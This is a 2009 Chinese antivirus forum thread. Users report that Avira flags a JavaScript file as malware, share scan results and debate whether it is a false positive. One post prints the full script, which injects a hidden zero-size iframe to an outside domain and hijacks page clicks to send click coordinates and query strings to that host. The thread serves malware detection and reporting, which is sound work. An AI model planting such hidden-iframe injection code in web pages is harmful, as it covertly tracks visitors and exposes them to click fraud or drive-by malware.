紅傘報

timhas266

vt
http://www.virustotal.com/analisis/79fb109f15b681c20ebb9bcd0e82e42f89f954dbe4a87764730e5184a1262968-1249463013

查询编号：RS20090804140811375887
文件名称：9vads9274[1].js
文件MD5：54522D16CB84EAE888EF6091C4FD33B7
文件状态：病毒文件
病毒名称：Trojan.Win32.Generic.11EBD229
解决版本：22.07.01.13

电影结束了

AVG miss
1js

电影结束了

<iframe src='http://jk.9v2010.cn/9vads9274/15.htm? width='0' height='0' name='ads9274' ></iframe>

MS不是病毒~

linjw

?Filename        Result
9vads9274[1].js         MALWARE

The file '9vads9274[1].js' has been determined to be 'MALWARE'. Our analysts named the threat JS/Iframe.zl. The term "JS/" denotes a Java scriptvirus.Detection will be added to our virus definition file (VDF) with one of the next updates. Please note that Avira's proactive heuristic detection module AHeAD detected this threat up front without the latest VDF update as: HEUR/HTML.Malware.

linjw

width='0' height='0'

Palkia

居然可以确认js文件~

bfhy

var sec9v = parseInt(Math.random()*24+1);
document.write("<iframe src='http://jk.9v2010.cn/9vads9274/"+sec9v+".htm?"+location.search.substr(1)+" width='0' height='0' name='ads9274' ></iframe>");
if (window.Event=true) {
prePaypopOnclick_9v = document.onclick;
document.onclick = gPoP_9v;
var clicked9v = false;
                                function gPoP_9v() {
                                //alert('ok');
                                if (!clicked9v){
                            ads9274.location.href="http://jk.9v2010.cn/9vads9274/"+sec9v+".asp?clt="+event.screenX+":"+event.screenY+"&"+location.search.substr(1);
                          }       
                          clicked9v = true;
                                if (typeof(prePaypopOnclick_9v) == "function") {prePaypopOnclick_9v();}                               
                                }
}

luxiao200888

失效..

lingbo110120

貌似没问题了

路过

mgzx2001

小红伞报了不知道是不是误报？
HEUR/HTML.MALWARE